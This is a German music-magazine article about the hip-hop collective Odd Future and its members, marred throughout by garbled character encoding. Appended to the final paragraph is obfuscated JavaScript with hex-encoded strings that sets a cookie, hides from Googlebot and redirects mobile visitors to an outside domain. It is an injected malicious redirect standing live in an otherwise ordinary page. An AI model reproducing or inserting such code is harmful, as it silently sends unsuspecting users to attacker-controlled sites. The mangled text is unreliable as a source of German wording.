Dabei taugt Syd lA�ngst nicht nur als Postergirl des Lesben-Rap, sondern mit ihrer sprA�den SchA�nheit, ihrem feinsinnigen Musikgeschmack und der zerbrechlichen Stimme hat sie tatsA�chlich das Zeug zum nA�chsten groAYen Star des Camps. Ihre A�eigenen DJ-Mixe a�� etwa bei der renommierten Future-Beats-Partyreihe A�Low End TheoryA� in L.A. a�� wandern von David Banner und Three 6 Mafia A?ber Santigold, Machine Drum und Sinden bis hin zu Waka-Flocka-und Missy-Elliott-Tunes. Auf dem The-Internet-DebA?talbum A�Purple Naked LadiesA� dominieren sauber arrangierte Soul-Songs auf HipHop-Basis, die ein unbestimmtes zeitgenA�ssisches LebensgefA?hl zwischen Lebenshunger und Post-Party-Depression einfangen. The Internet sind vielleicht sogar der massenkompatibelste Act, den das Odd-Future-Kollektiv bisher hervorgebracht hat.

Und die Saga geht weiter: Im FrA?hjahr ist Earl aus Samoa zurA?ckgekehrt, volljA�hrig geworden und hat einen sprA�den neuen Song namens A�HomeA� verA�ffentlicht, der den Silbenfetisch von Pharoahe Monch und Godfather Don mit krachenden Ride-Becken und sphA�rischen Synthies vermA�hlt. Domo Genesis hat einen gemeinsamen Song mit dem Kifferbruder im Geiste Wiz Khalifa (A�Ground UpA�) aufgenommen. Odd Future hatten ein Shooting bei der Fotografenlegende Terry Richardson und nahmen wA�hrenddessen ein Video zu ihrem elfminA?tigen Freestyle-Joint A�OldieA� auf. Sie haben ihre verdammte eigene Fernsehsendung im Adult Swim Network bekommen, ein A�JackassA�-Spin-off mit dem Titel A�Loiter SquadA�. Tyler, The Creator wurde von Bam Margera in einer Neuauflage von A�Punka��dA� verarscht. Das A?ber ihr eigenes Label verA�ffentlichte Mixtape A�OF Tape Vol. 2A� stieg auf Platz 5 in die Billboards ein und verkaufte in der ersten Woche 40.000 Exemplare. Die Welt gehA�rt Odd Future.
TMRW

2005, zwei Jahre vor der GrA?ndung von Odd Future, kam der Larry-Clark-Film A�Wassup RockersA� ins Kino. Clark, der zehn Jahre zuvor mit A�KidsA� bereits eine hoffnungslose Generation zwischen Skateboarding, Hedonismus und Aids-Problematik portrA�tiert hatte, zeichnete darin das Sittenbild einer Latino-Clique aus South Central Los Angeles, die Punkmusik hA�rt, enge Hosen trA�gt, Skateboard fA�hrt und sich dem Gang-Diktat ihrer Umgebung verweigert. Erstaunlicherweise fA�ngt Clark unabhA�ngig von den musikalischen Vorlieben der Protagonisten in A�Wassup RockersA� bereits die Essenz von allem ein, was Odd Future spA�ter ausmachen sollte: AuAYenseitertum im gesellschaftlichen Abseits, unbestimmte Rebellion, schickes Subkultur-Sampling.

Doch was genau ist es, das Tyler und seine Freunde fA?r viele Millionen Kids auf der ganzen Welt zu Vorbildern macht? Tyler A�hat keine politische Agenda, will niemanden bekehren, ja sich nicht mal mit irgendwem beschA�ftigenA�, schrieb JUICE-Autor Julian Brimmers in seiner A�GoblinA�-Review im letzten Jahr. Er hat recht. Tyler verkA�rpert eine abstrakte Rebellen-AttitA?de, die ihre Vorbilder in literarischen Figuren wie Holden Caulfield in A�Der FA�nger im RoggenA� von J.D. Salinger findet und die in der A�Popkultur von Jim Morrison A?ber Ian Curtis bis Kurt Cobain seit jeher eine Rolle spielt. Im Gegensatz zu den drei Genannten ist Tyler jedoch AnhA�nger der Straight-Edge-A�Bewegung und lebt komplett ohne Alkohol und Drogen. Doch in einer A�Generation MaybeA� (A�Die WeltA�), die in ihrer A�nA?chternen Zielgerichtetheit alle GrA?nde zum A�Rebellieren verloren hat, bietet Tyler einen letzten Anti-alles-Anker jenseits des gesellschaftlichen Anpassungsdiktats. Weil die Eltern in den friedensbewegten Siebzigern und Achtzigern sozialisiert wurden, flA?chten sich heutige Jugendliche gerne in eine neoliberale Erfolgslogik. Odd Future ist die musikgewordene Absage an das konkrete Weltverbesserertum der Elterngeneration, aber auch das pragmatische SpieAYerweltbild der MitschA?ler.

Abgrenzung ist alles. Tyler weiAY das. Weil er schlauer ist, als er meistens tut. Er mA�chte seiner Generation eine Stimme verleihen, ohne dass er das wirklich zugeben mag. Er will Geld, Ruhm und Auszeichnungen, doch er ist nicht bereit, seine A�kA?nstlerische Freiheit dafA?r zu kompromittieren. Auf seiner Formspring-Page antwortete er einmal auf die Frage nach seiner Motivation: A�Ich will ein AnfA?hrer fA?r die Kids sein, die A�geA�rgert und seltsam genannt wurden, und der Welt zeigen, dass der SchlA?ssel zum A�GlA?cklichsein ist, zu tun was man will, ohne sich darum zu kA?mmern, was andere Menschen denken.A� Vielleicht ist es kein Zufall, dass auch der James-Dean-Film A�Rebel Without A CauseA� einst in Los Angeles spielte.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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